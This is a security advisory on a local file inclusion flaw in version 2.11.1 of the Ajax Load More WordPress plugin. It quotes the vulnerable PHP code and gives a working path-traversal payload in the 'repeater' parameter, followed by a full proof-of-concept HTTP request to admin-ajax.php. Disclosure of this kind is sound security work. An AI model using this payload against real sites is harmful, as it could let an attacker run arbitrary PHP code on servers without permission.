WordPress Ajax Load More 2.11.1 Local File Inclusion
Posted on 30 November -0001
<HTML><HEAD><TITLE>WordPress Ajax Load More 2.11.1 Local File Inclusion</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>------------------------------------------------------------------------ Ajax Load More Local File Inclusion vulnerability ------------------------------------------------------------------------ Burak Kelebek, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Ajax Load More WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0034 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was succesfully tested on the Ajax Load More - Infinite Scroll WordPress Plugin version 2.11.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is fixed in version 2.11.2 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/ajax_load_more_local_file_inclusion_vulnerability.html Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion. For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter. repeater=repeater2f%2e%2e%2f../../../xmlrpc https://www.owasp.org/index.php/PHP_File_Inclusion https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion $repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default'; $type = alm_get_repeater_type($repeater); function alm_get_repeater_type($repeater){ $type = preg_split('/(?=d)/', $repeater, 2); // split $repeater value at number to determine type $type = $type[0]; // default | repeater | template_ return $type; } [..] if($queryType === 'standard'){ [..] if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){ do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater }else{ include( alm_get_current_repeater($repeater, $type) ); //Include repeater template } [..] function alm_get_current_repeater($repeater, $type) { $template = $repeater; $include = ''; // If is Custom Repeaters (Custom Repeaters v1) if( $type == 'repeater' && has_action('alm_repeater_installed' )){ $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; if(!file_exists($include)) //confirm file exists alm_get_default_repeater(); } // If is Unlimited Repeaters (Custom Repeaters v2) elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){ global $wpdb; $blog_id = $wpdb->blogid; if($blog_id > 1){ $include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php'; }else{ $include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php'; } if(!file_exists($include)) //confirm file exists $include = alm_get_default_repeater(); } // Default repeater else{ $include = alm_get_default_repeater(); } return $include; } The victim should have the paid add-on Custom Repeater or Unlimited installed. Proof of Concept GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1 Host: 192.168.50.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.50.9/html/ Cookie: Connection: close Pragma: no-cache Cache-Control: no-cache ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way. </BODY></HTML>
